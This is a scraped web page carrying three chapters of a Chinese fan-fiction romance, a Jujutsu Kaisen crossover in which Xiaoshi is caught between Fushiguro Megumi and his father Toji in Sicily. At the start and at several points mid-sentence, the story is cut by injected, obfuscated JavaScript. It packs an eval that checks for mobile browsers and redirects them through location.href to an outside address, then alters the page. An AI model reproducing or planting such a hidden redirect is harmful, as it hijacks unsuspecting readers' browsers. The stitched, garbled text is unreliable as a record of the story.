l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15413153|168847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已读不回必有苦衷:好消息是,我已经完全不怪你了,怎样,是不是不算糟糕? 前任一来,她什么都调理好了,气也不生了,也不觉得自己被蒙骗了,也不觉得东京风水不好了--事实上,她都有点想再去高专宿舍里再住一阵子,至少那里是伏黑甚尔出现概率较小的地方。 虽然她和伏黑甚尔也发生了一些小意外,嗯,这点就等晚点再和他说,必要的铺垫是不可少的。 可她也没等到伏黑惠的回复。 小莳想象自己一觉醒来--甚至是被吵醒,此时是太阳还没透过窗帘照脸上的清早,她的恋人说自己在前两天遇到了前任,她怀疑他们还旧情未了,恋人不接她电话。 前情提要是他们已经一周多没有正常社交。 天哪,还会有人相信她只是一个没什么恋爱经验的活泼小女孩吗?两段恋情谈出了人山人海的纠葛。她带入一想,认为伏黑惠一定是生气了。她主动又发消息。 已读不回必有苦衷:你还来意大利吗?不来也没关系。 她想说“等我解决完这里的遗留事项去日本找你。”不管接下来是不是会被分手,就算伏黑惠想分手至少……至少她不能做一个没长嘴的家伙,这是最低限度的要求了。 这条消息的回复却很快,小莳看见他后一个字一个字删除了打了一半的内容,他发:我今天就来。 倒也不必,他们这样猖獗会让移民局这里很难办的,更何况……小莳还没处理好这里的事情。伏黑甚尔--据她判断,不太好打发。 于是她委婉暗示:这里的事情稍微有点复杂,不如等我处理完? 她觉得自己算是把遵纪守法的好孩子带坏了,护照没那么快签发,意思不就是她男朋友人生第一起违法事件不是干掉别人,而是从造假证开始吗? 听起来不仅不合规,而且是小偷小摸类型的低格调案件。 伏黑惠:我想见你。 伏黑惠:发生的事情当面再说吧。 她说的话又被反弹回来,这下小莳没话讲了。睡了在梦中都担忧的一觉,醒来不过六点多。按照伏黑惠所说,他或许会在晚间到达西西里,而她恰好今天又起了个大早。 这是一个上天给的绝佳机会。 她披着外套揣着银行卡离开了庄园,只给尤尼留了言,告知她还是放不下精神老家,等她看到这条消息的时候自己已经在前往罗马的飞机上了。 尤尼未必会相信,尤其她是一位视看破不说破为美德,又很有智慧的成熟女性,不过这样发出去也代表了小莳有始有终的态度,不告而别有些失礼。 她倒是不觉得对伏黑甚尔失礼,首先,反而是对方不讲礼貌也不说明情报来源就贸然来到她客居的庄园,其次,如果这是在彭哥列总部她一定会号召在场的守护者一起把他赶出去。 小莳特意披上的外套起了一半的作用。她今日的衬衫与马甲都没有足以容纳两个手机的口袋,故才叠穿了正和气候的风衣。 伏黑惠会先去罗马,然后转机至卡塔尼亚,而小莳在中午的时候不幸被顺走了一个手机,在她发现时,另一个口袋里的欧元也一并消失。 风衣仅仅起到了一个造型上的作用。 现金无所谓,但手机……算了,她还记得伏黑惠的账号。尤尼祝她玩得开心,以及向她说明了另一位客人的离开。 离开好啊,她完全不介意伏黑甚尔的离开。没什么幻术把戏和钱还能在语言不通的异国他乡顺利生存,这也是他的实力,小莳不担心他的生存问题。只要他想,在大部分地方都能活得很好。 他不想就不归她管了。 航班在夜间顺利到达,小莳跟着指示牌到达航站楼,然后在大厅找了个座位。她用仅剩的20电量挑选今晚入住的酒店,附近没吃的不要,太远的不要,没有套房的不要。挑挑拣拣决定了住所,伏黑惠给她发了消息,她正好拍摄下大厅里的照片指引男友前来。他没带行李,又可以节约一点时间,而她想吃土豆小丸子和烤蟹腿。 小莳的心情现在和蛋糕上的奶油和打法的蛋白一样轻盈,她和男友聊起他可能会遭遇的遣返。对方却说这是正常流程。 没听说过两天护照就办好这种事啊,东京公务员什么时候这么喜欢工作了? 伏黑惠:拜托了乙骨前辈,他最近和行政人员关系还不错。 加急办理的原因是突发境外事件。 啊……这么说来乙骨倒是经常出国,总监部那边必定有相关事务的关系人。真是一点也不能小看高中生们。小莳对着手机笑,直到屏幕上的反光被一片阴影遮住,她抬头,对上伏黑甚尔神色不虞的脸:“在看什么,方便带我一个吗?” 仅剩的手机滑落到地上,没人接住它。小莳轻盈的心情如低压环境下的氢气球一样爆炸,她现在表情凝重,像在思考深刻富有意义的问题,至少也是生存还是死亡级别的。 “不方便,你就不能不要在这种时候出来打扰?”他怎么就是不懂她一点也不想见到他呢?! “见到我这么不高兴啊,真遗憾,你昨天还不是这样的。”伏黑甚尔半蹲下来正好与她齐平,他膝盖搭在地上,仰头就能看见小莳毫不保留的挑剔和嫌弃,这个表情……她再一次否定了他,“不过,真可惜……” 小莳的后颈被他不知什么时候绕过去的两指一捏,一推,分心之下被毫不费力像拨动表盘那样控制了方向,她和伏黑甚尔来了一个肢体上亲密的接触。 像是她主动俯身亲吻单膝跪地的他。 她很快重新控制住身体,推着他的肩膀起来,并在第一时间给了这耍流氓的家伙一巴掌。 “可惜你想见的人总是来迟一步。” 从话音结束,到她抬头看见伏黑惠没用多久。机场主要承接国内的航班,又是夜间,这时候出现在此的人本就不多,他的黑发,黑衣服,还有像神庙石柱一样立在稀疏人流中的样子,显眼程度不必多言。 他目睹了一切。 小莳记得她刚才打了伏黑甚尔一巴掌,现在他的脸颊泛红,但她忘了当时的其它的事情,她好像咽了口唾液。她好像皱起了眉头。这些在伏黑惠面前都不重要了,小莳没有在自己的正牌男友身上注视太久,她收敛目光,以不大不小的冷淡语调对眼前这个大约是计划好一切的男人说:“伏黑甚尔,你做的太过了。” 他仰起头笑说,笑意自然不达眼底:“这是你欠我的,小莳。别想逃开。” 小莳低身捡手机,发丝碰在了伏黑甚尔的衬衣上,这是他们在机场大厅里最后的接触,她什么都没说,一个眼神也吝啬于给他,离开了座位区。 和伏黑惠十几步的距离比想象中更近,她还没想好说什么就到了他面前,嘴唇动了动,没出声。又过了十余秒,她深呼吸,决定用地球通用的吃饭语录开启一段对话时,被男友用力揽进了怀里。 她只能踮着脚尖把下巴靠在她的肩膀上,不然脖子就会很难受,伏黑惠一点也没弯腰,而且勒得她肋骨发疼。在一阵急促的呼吸后,他的声音很轻:“什么都别说,小莳,我想你了,很想很想。” 看来他并没有那么生气。 伏黑甚尔是个不叫人省心的坏东西,但伏黑惠像一面镜子,他不多言,也不抱怨,就原原本本将小莳有些侥幸又不够善良的小心思映照出来,譬如此刻她本不该有的庆幸。 这世上好人总是不可避免收到伤害。 小莳只会在偶尔审视自己,她现在想,我真是个伤害少年感情的人,这个认知像酒精一样作用于大脑,慢悠悠滑溜溜流过她的每一片思想,却让她的肢体艰涩笨拙地行动。 过了一会她才回抱伏黑惠,问他:“你饿了么?” 86. 第 86 章 两人只在机场买了一份炸虾,因为伏黑惠这么建议,而大部分店铺都已关门。小莳决定不在这种时候反对他的提议。她吃了两块就没再碰。 “你打算怎么处理他?”他指的是一直跟着他们,准确的说仅仅只是跟随小莳的伏黑甚尔。 她没有立刻回答,顿了一下后简要说:“冷处理。” 不带他一起走吗,伏黑惠坐在小莳对面,看她不自在地摆弄自己的手指:“那我们接下来去哪里?” 她这次回应很快:“去酒店,我带你打车。” 两人之间又陷入了沉默,夜班的店员搬了个板凳在柜台后哼歌,不成曲调的嗡鸣在两人耳边不停回荡,一时相顾无言。 最先开口的还是伏黑惠,他看出了女友的不自在:“不管发生了什么……都不是你的错。”经过一声叹息,他又说:“如果我在一开始就说明一切的话,” “那我们就没可能谈恋爱了。”小莳顺畅接话,她语气轻松,放桌上的手却握成拳,将拇指缩在掌心,“今天我已经从庄园里溜出来了,不知道他怎么跟上来的,还找到了机场。我醒的时候……他们还都在睡觉呢。” 她越说声音越小。 出机场后的冷空气扑在脸上,小莳这会不认为和男友接触会影响幻术施展了,和他十指相扣,他在暗淡的天空下轻啄了小莳的嘴唇,“他还在后头。” 她不自然哦了一声。 “酒店的房间订好了吗?” “订好了。” 伏黑惠过了一会对她说:“再加一间吧,给他。” “……”小莳觉得男友和征十郎一定有一些关于孝心的共同话题,他和甚尔,怎么说都应该是根本不熟的状态吧?她侧过头去问,余光瞥到了站在他们后面不远处尾随的人,赶紧又偏了偏头,确保视野里没他:“你确定?其实他在哪里都能活得还不错。当然,这不是说我很了解他的意思。”她为自己撇清关系的补丁而沾沾自喜。 撇清关系是很有效的举措,但小莳的语言难得刻意,而且伏黑惠看见的那一幕太令人印象深刻,发生时间段也就在十几分钟前,即使想,他也很难相信她话里的内容。 “嗯。” 一辆车停到他们身前。 小莳把宝贵的上车机会赠与了伏黑甚尔,她觉得三人一辆车绝非好主义,现在的情况简直就像是农民带着一羊一狼过河。 她敲车窗,和司机说明了情况,提前付了一笔足以覆盖路程的车费后,回头看了伏黑甚尔一眼,他就走了过来。这人还真是完全丧失了尴尬的能力,某种程度上惹人羡慕。 她说得简单,语气也相当不客气:“上车,下车后在门口等着。” “你要把我发卖到哪里去?” “送你上天堂。”这人怎么就离开米花了呢,在那想必也能激发不少产业活力,不走到阳光下交税的那些。 “那,天堂见。” 听这话她差点以为自己要死了。瘪着嘴什么都没说,连手也没挥,还在伏黑甚尔放下车窗的时候转身面朝男友,不去看他。 车闪着灯开走,下一趟来的时候,小莳推着伏黑惠让他先上车,她坐右边。伏黑惠在电台的音乐变更成他听不懂的外语播报后,才开始说了一些这一周的有趣的事情,小莳倚在他肩头听。 “你不困吗?这会东京都是第二天早上了。”惠应该一直都没睡,她想,十几小时的飞机长途也不是能安心入眠的好地方。 “还好,见到小莳就不累了。” 她一下结巴起来,“哦哦,这样啊。” “小莳有想我吗?” “隐隐约约有想起过。”本来她说这些话是一点也不会不好意思的,诚实是她的众多美德之一,但现在说这些就……会有种感情不好且有人意志不坚定想要分心的既视感。 上天堂还是太便宜伏黑甚尔了,她刚才应该说地狱的!现在她是一个笨嘴拙舌不敢多说一句话的拘谨小女孩了。 “有想他吗?” 小莳几乎快被这个问题难倒了,但她坚强回答:“像奶茶微糖那样几乎没有。” “没关系的小莳,没关系的。”在她试图离开伏黑惠的肩膀回到自己那半边时,他回身再次将小莳搂进怀里,对她说:“会想他也不是你的错,只要你还喜欢我就够了。” 小莳低着头,鼻尖蹭到他凉凉的外套,有些痒,她没说话,轻嗅一口,是一路奔波的味道。简单来说,不好闻,但她没推开。 他说:“无论如何我都想和你在一起,我喜欢你,我爱你,从一开始就对你念念不忘。我只有你,再也不会有别人了。” “但是如果你对他还……我也没关系的,只要你别离开我。” 像是有丝绸缓缓包裹她的心脏,温柔擦拭,沉醉享受之余生出一些不配得的不安。小莳想说这种事情就不必了,又想解释她和伏黑甚尔关系没有多好,她一定能坚定拒绝这个旧日故人,就像挥别过去两年的异界过往,她想严肃声明一点也不会想念。可最后她只是讷讷道:“哦,我……我不会离开你的。” 一些罪恶感的涨潮淹没了小莳。她听见他小声说:“这就足够了。” 下车,她一眼就看见了站在酒店门口形迹可疑像在蹲点一样的男人,他在看见她时就抹了抹嘴边的伤疤--她前天还帮他添了个新的,现在那地方被他弄破了,在流血。 令人烦心的举动,小莳见不得这些,一般而言嘴唇与牙齿的碰撞会被认为是暧昧举动。她不想生出更多事端,移开视线,进入了旋转门的缺口。 前台看见一行三人,亚洲面孔,要求出示护照以验证。她侧头与伏黑惠说明了情况,就在这闲暇时间左手从风衣外套里拿出一本新鲜出炉的幻觉造物。中指尖抵着夹缝,另一只手在下面接着,夹住护照中滑出一张薄薄卡片。那是她的身份证。 “两件套房,其中一间规格差点也没关系,最好不要靠在一起。”仗着语言优势,小莳直白地降配置。她说这话的时候完全没有不自然,等前台核对完入住信息后将银行卡滑过去。 套房都在高层,规格统一,但可以定在走廊两端。她点点头,拿着属于最里间的房卡,将三人的身份证明摞在手上--其中只有伏黑惠的是流程完整的,结果最后造假证的反而是她自己。 在大堂走了一段,站定在电梯门口时,她把属于伏黑甚尔的护照飞给了他,角度刁钻,他随手接住,还翻开看了看:“这也是幻觉?照片不错,把我拍得挺帅。” “别说话,你的房间就在电梯出门第一间。”电梯里只有他们三人,小莳等门关后对着不断变动的数字屏幕说话,等它跳到目标楼层时,她才又说:“晚安。” 虚假的礼貌和不愿意多聊的真实意图表露无疑。开门,她头也不回往外冲,一刻也不多呆。 走廊的长度令她满意,她只能听见自己的脚步声一骑绝尘地冲在前头。进房,小莳坐在起居室的沙发上,对慢几步的男友摇摇手机:“这附近有家评价好像的烧烤,据说是中国人开的,他们的肉上面会撒辣辣的粉和带点麻的花椒,听说那是四川风味。前台说管家和保镖会代送上门,你想吃什么?或者你也可以去睡觉,选你喜欢的房间。” 她还是忘不掉刚才不妙的炸虾,誓要将今天少的一顿应许宵夜弥补。 伏黑惠认真地选择了自己将要吃的食物,从他说“难得到了意大利,应该吃点本地食物”,接着点了店里月销量寥寥的奶酪意面起,小莳就知道他是认真对待这一餐。但是深夜的外国料理烧烤店里真能点到还不错的意面吗?祖籍都不同欸。 小莳点了一大堆海鲜类,还有一些她也没怎么吃过的新奇东西。“鸡的胃?如果不好吃就扔掉,内脏的话我以前主要会吃牛,除此之外其他动物的就不太了解。” 伏黑惠洗完澡出来的时候她还没下单,他提醒:“注意时间,我倒还好,但是你应该会困吧,你的睡眠一向很规律。” “我也还好,今天太刺激了,稍微会睡不着。”小莳是指在外面溜了一圈最后还是被跟上这件事,她在上车前就想明白了,那家伙跟了自己一整天,真是个跟踪狂!她生出了要锻炼一下反侦察能力的想法。 伏黑惠擦头发的手一顿,半晌后才接着动作,开口道:“这样啊,小莳想睡哪间房?” 小莳眨眨眼,开始想是不是他想睡在另一间,能理解,她问:“我都可以,你选吧。”她会自觉不凑上去。 “那我们睡这间。”伏黑惠指着装有床幔和水晶吊灯的欧式大房间,它的床也很大,2m。 他说【我们】,小莳对着客厅的壁画还有复古装潢微笑:“好呀。” 宵夜送到后,伏黑惠见女友盯着自己的那份意面,便问她要不要来些,小莳只是好奇它的味道是否合意,其实并不太感兴趣,在听到他还不错的评价后在用签子挑了一块。 “wooo,真的还可以,我本来以为会很难吃。” 在那之后她被打扰了一次,原因是与他们同行的客人拉响了房间里的警报绳,保安和医护人员一股脑涌进他的房间,而他们语言不通无法交流。 最后小莳出面代为解释:“他只是文盲,给你们带来困扰真是抱歉。”回头凶了伏黑甚尔一顿,警告他别再惹出什么幺蛾子。想回去的时候被他压进怀里:“你今天留下来也可以。” “你已经快把流行小说里的丑角套路用尽了你知道吗?”小莳掸开他半放在自己肩头的一只手,“你其实看得懂墙上的字对吧?就在绳子旁边它贴了ALARM,你故意的?” Alarm毕竟是很通用的英语词汇。 伏黑甚尔回答地很坦然:“没有,看不懂,但是看见你就想让你留下了。” “……” 察觉到小莳的瞬间愕然和不自在,伏黑甚尔想再进一步说些什么,话到嘴边要么觉得轻浮不庄重,要么显得没有吸引力。 小莳趁着这阵空隙,在他视野中一溜烟快步离开了。 她的迅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15413154|168847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 速归来让伏黑惠看起来有些惊讶:“发生什么事了?” 小莳和他解释了事情,总结为:“那家伙手贱。” 他过了一会才低下头擦了擦嘴:“我以为你没那么快回来。”更差的设想,也许要明天才能见到。 “……我的意志也没有那么不坚定,而且还没吃完呢!” 在一周多没见的男朋友面前说这个也太失礼了。小莳自知失言,乖巧坐在他旁边,闷不吭声继续吃海鲜。 他问她是怎么想的,她说:“明早肯定是起不来了,后天早起早溜,我们出门就是消防通道,酒店旁边有银行,我会取出足够甚尔用的钱的。他应该至少会清楚怎么联系大使馆。” 小莳的脸上是一些怀疑,但很快又被覆盖。 这也是第一次,伏黑惠见到小莳展现出热衷于逃避的一面。他想,这也算是一种难以忽视的特殊待遇。从他认识她以来,她展现出的一直是仿若天生的张扬、自由与漫不经心。她从不紧张,好像一切都轻松,直到今天。 伏黑惠情愿不去细想,但他清楚的知晓这不寻常的表现于小莳而言也是一种在意。心中聚集起名为羡慕的情绪,也许还有无可奈何的妒意。 他问起女友和前任的往事,她遮遮掩掩不肯说。他藏起心中的负面情绪,以往总是小莳耐下性子和他说起视野之外的事情,不以学识嘲弄也不厌烦,她帮了他很多。伏黑惠想起临行时见到老师,他们同行了一路,五条悟说:“小莳不是传统意义上的好孩子,但知恩图报。她以前虽然有同伴,就像我也有值得信赖的咒术师伙伴还有可爱的学生,可不相信自己会被任何人拯救。不得不承认你父亲在这点上真是个幸运儿,他真的救了她,那时候千钧一发,如果是我的话大概一生也忘不掉……不过她既然联系了你,说明她总算想通了,赶快过去吧。” 恩义啊…… 他在女友洗澡时收拾了桌子,临睡时又问起她方才不愿意说的话题,这种事情总是无可回避的,他们都得面对。既然如此就让他来做最先打破陈僵局的人也并非不可。 小莳不觉得当现任问起前任时,他们真的想知道以前发生过的好事和坏事,大多只是攀比一下获得心理上的满足,或者想听点“我一点也不喜欢他,我只喜欢你”这种鬼话:这是个逻辑全无的命题,如果一点也不喜欢,当时的交往岂非成儿戏,显得自己脑子拎不清或者品格差劲。这种话那还真是说的人敢说听的人敢信。 至于伏黑惠……小莳不觉得他是以上肤浅的任何一种,她心里认定他只是不安,一定要说的话不会有任何男友做得比他更好了。截至目前为止,有所亏欠的人变成了她。 小莳做起了以往瞧不上的事情,她说起在另一个世界的种种过往,强调甚至夸大了其中不快乐的一面。她的本意在于渲染对过去几乎没有留恋的形象,却形成了反效果。她提起前事时一桩桩一件件都清楚。 她每一件都记得。 伏黑惠垂目,他认为自己发现了什么:她还喜欢伏黑甚尔。小莳只是……在喜欢那人时没有得到她期待的快乐,但同时也不愿意直视自己的因此受到的痛苦。她没有意识到自己的喜欢。 “说真的有人会在迪士尼连张照片都不愿意拍吗?谁家好人会在恋人需要点回应的时候做哑巴,你会在和我在一起的时候什么也不说吗?啊,你好像真会,算了,这点跳过,天性不爱说话除外。” 他意识到她在自己怀中,却以一种别扭到她意识不到也不承认的方式在意着那个人,伏黑甚尔。如果不出现倒也罢了,可他一旦露面,就固守在小莳心间的小径上。 伏黑惠想,他和小莳本可以拥有一段简单的、友爱的、长久的感情,就像他期待的那样。通往眼下局面的道路也由他参与铺就,算了,能在她身边也挺好。 他问小莳是否要去找伏黑甚尔,小莳给了他一个惊讶带着屑的表情,一吐不快,她现在心情又好了起来:“惠,你现在好像隐忍贤惠的那种……就是我们会经常在网页上看到的……” “你到底一天天在看些什么啊!” 小莳趁男友不备猛地将他推倒在床上,“你困吗?”得到否定的答案后她俯下身,给了对方一个缠绵悱恻的深吻,等到两人都气息短促又紊乱,脸颊都升温,她抓起男友的胳膊往马甲的纽扣处贴去,问:“别想那家伙了。说真的我觉得他就是到了咒术界水土不服突然上头,过段时间就会消失。所以我们现在要不要做些有趣的事情?” 伏黑惠这才明白小莳不把前任当回事也并非伪装,她是真的不觉得只身一人来到语言不同的国外希望渺茫寻找他人是决心的表现,也不以为意……而他的高尚人品不足以支撑他将爱的人一次两次往情敌那推去,他想起了几小时前令他觉得世界都起雾了的吻。伏黑甚尔,他的父亲,在那之前他还看了自己一眼,才向小莳走去。恶劣的人,他是故意的。 伏黑惠解下了小莳漂亮马甲上的第一颗纽扣。 他们度过了愉快的一晚。 87. 第 87 章 小莳睡得很晚,所以在第二天微微睁眼看见透过没拉好的窗帘里透的光时,她果断选择蒙上被子接着睡。迷糊不清被人圈在怀里,小莳挑了个觉得舒服的躺姿接着入眠,她屈起右腿搭在男友身上,在温暖令她安心的热源旁取暖。 所以再次睁眼看见伏黑甚尔放大的脸时她吓得卷起被子往远处滚了一圈:“真是--你怎么会在这里?!”她看向房间门口和可以见到的客厅,那里没开灯,没有伏黑惠的身影,也没有任何动静。 “惠呢?” 房间里的光源主要来源于窗帘缝隙透出来的光,对睡眠有碍,对能见度毫无益处,小莳只能看得出伏黑甚尔的表情晦暗不明--她将它归结于光线原因。他的动作一向迅速,反应力和体力也一流,小莳没等到回答,想请他出去的时候,伏黑甚尔以常人反应不及的速度欺身上前,小莳反应过来了,但被一圈被子耽误,最终被他压在身下不得动弹。 “屁股能离开我的腿吗?你很重。”绝对超过170,她没在说身高。伏黑甚尔,一个耍流氓的大胖子。 大胖子不肯说话,也不走,小莳被钳制,蹬腿都困难。 伏黑甚尔声音低沉:“你和他做了?” 真失礼,他不会觉得这和他有任何关系吧,小莳推了他一把,没推动,她愤怒地朝他大喊:“有意见去法庭告我,别在这发疯。” 伏黑甚尔的脸色在昏暗的房间里愈发僵硬,小莳不在乎,她只觉得这人是个自说自话想一出是一出还随便打扰人的无耻之徒。 无耻之徒的眼神无机质,泛起光映照在锐利刀锋上反射出的青蓝色冷光,他问:“那我是什么?我是什么?” 他问了两遍。他怎么好意思?小莳在分手以后一直避免提及和过分回忆这个她决定放下的人,偶有提及对他评价也不差,但她心里残余的不满自然不会白白消失,能忍耐到今天,于她属实不易。不同类的情感不能一概混淆来看待,之前是她错了,不该自己撞破那一层界限,感情会因为委屈的情绪而消磨,而她在其中还有口难言。而现在……伏黑甚尔在和她没有亲密关系的当下还蹬鼻子上脸一副抓奸的姿态,再退让下去她的立场可就又被侵犯了,她的身体乃至灵魂都拒绝这种事情发生。 发生了这么些事,她也还是难以对他产生恶感,然而到了这种地步,剑拔弩张,不进攻反而是对不起自己。她当然不会让自己难堪。 “不不不,你可能搞错了一件事,甚尔。自从在一周前并盛的相遇起,发生的任何事情都是建立在去年我们已经分手的基础上,你并不存在指责我的立场。作为前男友,你有你的长处与我不能接受的短处,你我相合与分开皆在情理之中,那我和分手后才认识的人在一起也无不可;作为父亲,我个人看不出你有什么称职的地方,你的父爱实在不足以支付干预惠恋情相应的代价。所以你在这里做什么呢?一切都和你没有关系了。”他的爱大概率存在,但在客观事实面前谈主观意愿,后者总没有说服力。 她没有给他说话的机会,说出的话语气缓缓,但也像尖刀:“也许你认为我还在和你纠缠不清,也许你认为我对你爱得欲罢不能,玩些欲擒故纵的小游戏,并非如此,都只是你的臆想。你觉得自己是野心勃勃开疆扩土的帝王,是对战役势在必得的骁勇将军,是只要努力一下就可以【得到】我的魅力四射的猎手。不,都不是,你只是,至少在感情中,你只是一个被我拒绝的男人。趁早接受这点,然后从我身上下来。” 这样的话,他应该就会很快离开了吧。她想,甚尔平生最在意也最不在意自我价值感,刚才那反说辞的杀伤力应当不亚于很久远以前她第一次拒绝他。那时候她也在浴缸里衣不蔽体,境况和今日也有点相似,不过当时她不完全清楚那种话的力道。现在她明白了,应当是入木三分,可还是做出了伤害他的选择。 有点恩将仇报了啊小莳,她在心里这么对自己说,但她随即又像往常一样恶劣地自我开解:只要伏黑甚尔不突然死掉,她总有偿还的机会。等到明天一切都会好起来的。 小莳能听见伏黑甚尔的呼吸声,粗重,令她联想到蝴蝶--如果有一只翅膀沾了露水而过载,但仍然想起飞展翅的小小昆虫,它勉强发出的扑棱声当是如此。蝴蝶振翅是不会发出声音的,只有蜜蜂那样翅膀小而轻,频率又快的生物才能嗡鸣。所以她大概是觉得……这一刻的伏黑甚尔很脆弱,她的话也许像加诸他身的厚重枷锁,蝴蝶也寸步难行。小莳偏过头去没再看他。 压在身上的重量一轻,她也想挣扎着从自缚的被窝筒里出来,但伏黑甚尔并不像她预期的那样离开,他的身躯像黏糊糊的海洋生物一样围在她身上,无比接近的距离让她想远离。也就是在这一时刻,她才看清了他的脸,透过窗帘逃逸的那束光。 小莳见过伏黑甚尔的很多样子,不屑一顾的,自信满满的,带着惑人笑意的,饱含情欲的,漠不关心的,但她从没见过他这样:虚弱萎靡,同时带着恳切与怨怼,而他的绿眼睛里有很多话。 但他没有选择他们中的任何一句。伏黑甚尔小小声对她说,也可能是在对自己说:“反正我也不是什么有自尊心的人。” 他低下头,他的额头抵到了她的锁骨--隔着被子,因为她还没来得及从里面滚出来,他说:“我是你的情人。别拒绝我,小莳,让我做你的情人,好吗?我错了,我认输,我投降,我不是猎人,我是你的俘虏。” 在被凉凉的唇瓣触碰时,意识到这和她想象中不一样,温热湿滑的舌尖探入她唇齿间。小莳推开了他,很轻易。与雄赳赳气昂昂的姿态毫不相干,伏黑甚尔像只落魄的败犬,眼里是潮湿的情绪:“是我离不开你。” 她还没来得及做出评价,伏黑甚尔又接住了自己的话头往下说,他现在可真像个不停往下翻转的羊皮卷,上面的文字滔滔不绝,没个头:“不过,不可以再有别人了,除了惠,我只会有你一个人。你不能再和别的男人有牵扯了,我受不了。”然后他补充,女人也不行。 久违的又听见了极具个人风格的发言,这人是有点律师天赋在身上的:“可我也没想和你有牵扯。” “你想的,小莳,我们会有很多牵扯,新的会覆盖旧的,我会一直在你身边,直到……最后。” 是的,这人一直有些自说自话的毛病在身上。小莳问他:“惠呢?” “在一号房。” “……”行吧,一只脚先蹬出被子,挥腿翻起,小莳匆匆在手边找到属于自己的外套,披上,头发贴在后脖子摩擦让她不太舒服,但她得先低下头去找鞋。“我去找他。” “那我呢?” 你一身反骨,谁管得了你啊,小莳又找到了自己丢在地上的裤子,穿上:“我不知道,趁护照还在买张票去东京?” 伏黑甚尔从后面抱住她,小莳右肩一沉,随后感觉到后颈的长发被手撩出来,耳边响起他的声音:“在飞机上我要坐你旁边。” 就说管不了吧,小莳给了他一记肘击,被温柔截住,她收回手,反正体术是比不过,走了。 “你还回来吗?” “不回,退房了。” 身后传来低低的笑声:“说谎。” “也许吧,也许不,谁又说得清楚呢?”她像对待求职者一样请他等通知。小莳知道他的笑是因为看出了她的犹豫和迷茫,被人撞破的隐秘情感让她更不开心。 明明是她赢了,落荒而逃的却也是她。 小莳走向伏黑惠的房间,敲门,在开门声响起时道:“事不宜迟,现在是--早餐时间!”时间是接近正午的十一点半。 聊毫无涉猎的话题得来点美食缓冲,讲不开了还能夸夸菜品,或者和服务员加密通话拖延时间。而且她已足足一夜没有进食。美味的攻略外卖是远水救不了近渴,她推开房门就说:“来一号房我只做两件事,打电话享受送餐服务和与男友共进--餐。” 小莳的心并不在吃食上,也没问伏黑惠关于餐品的建议,两人在那之后就默契的都没再说话,也许只是因为她在联系瓦利亚的同伴们,而男友因此没打扰她。两人在用餐时才开始说起被刻意放置的议题。 “你接下来打算怎么办?” 小莳看他心不在焉,也不惊讶,信息在脑袋里转了一圈,她没问出关于醒来后枕边人临时更换的问题,只是回答:“打算去上家单位那边返工,那地方没有淡季,一年四季开张不停。一年四季都有干了不少糟糕的事情所以去天国也不可惜的角色,闲着也是闲着,把他们做掉。” 她成功把话题拉到了自己的舒适圈。 “……” “出于社会的公序良俗需要,有了法律为约束和法庭制度来评议事件,但证据搜查和还原事件本身就要耗费大量人力物力,一个案件从立案到判决经历几年也是常有的事情。好消息就是,我看到证据就能行动,不用征询本人同意。”一个人如果不想活可以自行了断,由此可知任务目标不会同意小莳的处理方式。 “你……很享受做这些吗?” “你给我幻想出了了不得的癖好啊,惠惠,我其实最享受安逸玩乐什么都不用负担的生活,就像大部分好逸恶劳的人一样。”小莳的餐刀在盘子里发出叮当的响声,她转眼望向面色尴尬的男友,“不过心情不好的话看见别人露出痛苦的表情会开心也是正常的范畴,我是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15413155|168847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说,想要出一口恶气也算人之常情。现在我面前可是摆着困扰又了不得的大问题,烦躁也是应该的。” 他沉默了一会,问起了小莳业务上的事情。她回答。他们继续默契兜圈子,对最应该上桌的话题视而不见。直到他在听说有关于任务目标的“失踪”后,突兀发问:“你会和那个男人,你会和伏黑甚尔在一起吗?” 小莳身体一僵,惠还真是一下就提出了重磅问题。这也正是她苦恼的地方所在。 “不知道。”诚实伤人,她说的简单:“我觉得这样不好,也不确定自己的想法,最后,也不相信他的话。” 伏黑惠低下头,当小莳看过去的时候只能见到他毛楞楞的发顶,听到他沉闷的声音:“我没关系的。” “……” “所以,”他一个字一个字说,“你不用觉得不好。” 隐忍克制温柔,他还真像流俗小说里爱而不得的男二--一般只充当主角确定心意,投石问路里被舍弃的石块。而小莳对他无疑是喜欢,只是程度尚且不到情深意笃,他们的感情也没能经得起严格考验。这大约是一种青少年时期特有的不确定与摇摇欲坠之感,与她自以为追求的稳定不同,但也同样令人着迷。 伏黑惠还在接着说:“没关系的,这不是你的问题。当初本就是我先喜欢上你。小莳会觉得是自己先主动的吗?在我生日那天。但其实在那之前……在五条老师带着你到高专的时候,我就对你--在那时候我就知道你和我父亲曾经有过一段,你们在一起了一年多。我不是一个体贴温柔的男人,也不爱和人社交,如果不是我主动和你说话,你大概不会注意到我的,小莳。所以这都不是你的问题,就算你--没有忘了他,也不该为此负责。” 伏黑惠有着敏锐的头脑,刀锋一样的思考,还有刻板印象中和男性气质无关的纤细神经,毫无疑问他是个聪明的高敏感人群。虽然也有因为太敏感于某处细枝末节而抓不住重点,走入歧途的时刻,但此时的他将感知到的一切责任揽到了自己身上。 小莳却不能让他这样。 